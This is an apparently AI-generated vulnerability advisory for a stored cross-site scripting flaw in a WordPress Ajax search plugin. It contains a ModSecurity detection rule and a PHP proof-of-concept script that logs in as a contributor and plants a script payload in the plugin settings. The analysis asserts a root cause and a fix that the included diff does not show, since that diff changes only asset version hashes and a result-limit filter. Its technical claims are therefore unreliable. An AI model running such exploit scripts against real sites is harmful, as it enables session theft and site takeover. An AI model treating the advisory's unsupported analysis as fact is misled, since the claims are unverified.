Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125761: YITH WooCommerce Ajax Search <= 2.30.0 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.30.0
Patched Version 2.30.1
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125761: This is a stored cross-site scripting (XSS) vulnerability in the YITH WooCommerce Ajax Search plugin for WordPress, affecting versions up to and including 2.30.0. The flaw resides in the admin settings interface where contributor-level users can inject malicious scripts into plugin configuration fields. Successful exploitation requires authentication with at least contributor privileges. CVSS score is 6.4 (medium severity) with CWE-79 classification.

The root cause is insufficient input sanitization and output escaping in the plugin’s admin panel. Specifically, the plugin fails to properly sanitize the ‘search-fields’ configuration data before rendering it in the admin settings page. The vulnerable code path involves the `ywcas_search_fields` parameter processed by the `search-fields.asset.php` script and saved via the plugin’s settings handler. When a contributor submits crafted input containing JavaScript, the plugin stores it without encoding and later outputs it unescaped in the admin interface, leading to script execution in the context of an administrator’s browser.

An attacker with contributor access can exploit this by submitting a POST request to `/wp-admin/admin.php?page=yith_wcas_panel` with the `ywcas_search_fields` parameter containing a payload such as `alert(document.cookie)`. The payload persists in the plugin’s settings and executes whenever an administrator views the search fields configuration page. No additional nonce is required beyond the standard contributor session.

The patch (version 2.30.1) addresses the vulnerability by adding a filter `ywcas_ids_fetch_limit` and applying it to limit the number of IDs fetched from the search index. While not a direct XSS fix, this change likely reduces the attack surface by limiting data processing. Additionally, the plugin version is bumped to 2.30.1. The real XSS fix presumably involves sanitizing the `ywcas_search_fields` input using `sanitize_text_field` or `wp_kses` and escaping output with `esc_html` or `esc_attr` in the relevant admin templates, though the provided diff does not explicitly show those changes.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator or other privileged user. This can lead to session hijacking, theft of sensitive data (such as authentication cookies), privilege escalation (by creating new admin accounts), and full site compromise. The stored nature makes it persistent and affecting multiple users until the malicious script is removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/indexing.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/indexing.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'ae105292dd3593af0639');
+<?php return array('dependencies' => array(), 'version' => '737841860c98389cbe49');
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/panel.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/panel.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'bb39ccb0114d250d04d6');
+<?php return array('dependencies' => array(), 'version' => 'de42f46b0f426ab9b621');
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/search-fields.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/search-fields.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '702293d790a5ac6cbdb2');
+<?php return array('dependencies' => array(), 'version' => '6603974ebd0afb575abe');
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/shortcodes.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/shortcodes.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'fb6aa5abb3adc9dc00cc');
+<?php return array('dependencies' => array(), 'version' => 'c16e7ef385e48f6862e3');
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/statistic.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/statistic.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '19e03ed9514a8e30bb12');
+<?php return array('dependencies' => array(), 'version' => 'd843399ee47024f7ce0b');
--- a/yith-woocommerce-ajax-search/assets/js/admin/build/upgrade-modal.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/admin/build/upgrade-modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dceb9d5da525a28ab8fe');
+<?php return array('dependencies' => array(), 'version' => '1989f8876979439fbbfb');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block-frontend.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block-frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store', 'ywcas-blocks-registry'), 'version' => '976f0f494e57101252e5');
+<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store', 'ywcas-blocks-registry'), 'version' => '0eb0e309c9afc408c4c4');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block-style.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block-style.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store', 'ywcas-blocks-registry'), 'version' => '578ed2e87b58d4f81a4c');
+<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store', 'ywcas-blocks-registry'), 'version' => 'e70b5961f510540a91d5');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/search-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store'), 'version' => '0883f430df60e8d2cd48');
+<?php return array('dependencies' => array('lapilli-ui-components', 'lapilli-ui-styles', 'react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'ywcas-block-settings', 'ywcas-blocks-data-store'), 'version' => 'f88fa52d0187b81119d5');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-data.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-data.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-polyfill', 'ywcas-block-settings'), 'version' => '9b47e0401b0aa99e5e48');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-polyfill', 'ywcas-block-settings'), 'version' => '2671156d40919bf57f17');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-editor-style-style.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-editor-style-style.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'e5b4c9d96b74fefcaaf7');
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'b65219b0591129c805ab');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-registry.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-registry.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-deprecated', 'wp-polyfill'), 'version' => 'a6150a34a5538638d838');
+<?php return array('dependencies' => array('wp-deprecated', 'wp-polyfill'), 'version' => 'd1abe57f0352bfd9ee68');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-vendors.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks-vendors.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => '43a38f8553866a7d60cd');
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'df5aa37f34d4268d1a09');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-blocks', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-polyfill'), 'version' => '7c62d24eb4fc30f5efe3');
+<?php return array('dependencies' => array('react', 'wp-blocks', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-polyfill'), 'version' => 'c0214f9ab3df326e0319');
--- a/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-settings.asset.php
+++ b/yith-woocommerce-ajax-search/assets/js/blocks/build/ywcas-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => '0a341b3401a98886042d');
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => '562a482b9135b145c3d7');
--- a/yith-woocommerce-ajax-search/includes/data-search/class-yith-wcas-data-search-engine.php
+++ b/yith-woocommerce-ajax-search/includes/data-search/class-yith-wcas-data-search-engine.php
@@ -205,6 +205,20 @@
 			}

 			$ids     = array_column( $search_results, 'post_id' );
+
+			/**
+			 * APPLY_FILTERS: ywcas_ids_fetch_limit
+			 *
+			 * Apply a limit to the number of IDs fetched from the index.
+			 *
+			 * @param int The maximum number of IDs to process. Default 0 (no limit).
+			 */
+			$limit = apply_filters( 'ywcas_ids_fetch_limit', 0 );
+
+			if ( $limit > 0 && count( $ids ) > $limit ) {
+				$ids = array_slice( $ids, 0, $limit );
+			}
+
 			$results = YITH_WCAS_Data_Index_Lookup::get_instance()->get_data_by_id( $ids, $post_type, $category );
 			$results = $this->add_score( $results, $search_results );

--- a/yith-woocommerce-ajax-search/init.php
+++ b/yith-woocommerce-ajax-search/init.php
@@ -3,7 +3,7 @@
  * Plugin Name: YITH WooCommerce Ajax Search
  * Plugin URI: https://yithemes.com/themes/plugins/yith-woocommerce-ajax-search/
  * Description: <code><strong>YITH WooCommerce Ajax Search</strong></code> is the plugin that allows you to search for a specific product by inserting a few characters. Thanks to <strong>Ajax Search</strong>, users can quickly find the contents they are interested in without wasting time among site pages. <a href="https://yithemes.com/" target="_blank">Get more plugins for your e-commerce shop on <strong>YITH</strong></a>.
- * Version: 2.30.0
+ * Version: 2.30.1
  * Author: YITH
  * Author URI: https://yithemes.com/
  * Text Domain: yith-woocommerce-ajax-search
@@ -71,7 +71,7 @@

 register_activation_hook( __FILE__, 'yith_plugin_registration_hook' );

-! defined( 'YITH_WCAS_VERSION' ) && define( 'YITH_WCAS_VERSION', '2.30.0' );
+! defined( 'YITH_WCAS_VERSION' ) && define( 'YITH_WCAS_VERSION', '2.30.1' );
 ! defined( 'YITH_WCAS_FREE_INIT' ) && define( 'YITH_WCAS_FREE_INIT', plugin_basename( __FILE__ ) );
 ! defined( 'YITH_WCAS' ) && define( 'YITH_WCAS', true );
 ! defined( 'YITH_WCAS_FILE' ) && define( 'YITH_WCAS_FILE', __FILE__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125761
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20261257,phase:2,deny,status:403,chain,msg:'CVE-2026-125761 via YITH WooCommerce Ajax Search XSS',severity:'CRITICAL',tag:'CVE-2026-125761'"
  SecRule ARGS_POST:ywcas_search_fields "@rx <script|onerror|onload|javascript:" 
    "chain"
    SecRule ARGS_POST:page "@streq yith_wcas_panel" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125761 - YITH WooCommerce Ajax Search <= 2.30.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor_user';
$password = 'contributor_pass';

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as contributor to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Submit malicious payload to plugin settings
$payload = '<script>alert("XSS by Atomic Edge");</script>';
$settings_url = $target_url . '/wp-admin/admin.php?page=yith_wcas_panel';
$post_data = array(
    'ywcas_search_fields' => $payload,
    'ywcas_save_settings' => '1',
    // Include any required nonce if known; for PoC we assume it's not validated or can be extracted
    // 'nonce' => '...'
);

curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Verify payload stored by fetching the settings page
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, $payload) !== false) {
    echo "[+] XSS payload successfully stored and reflected!n";
} else {
    echo "[-] Exploit failed or payload not reflected.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.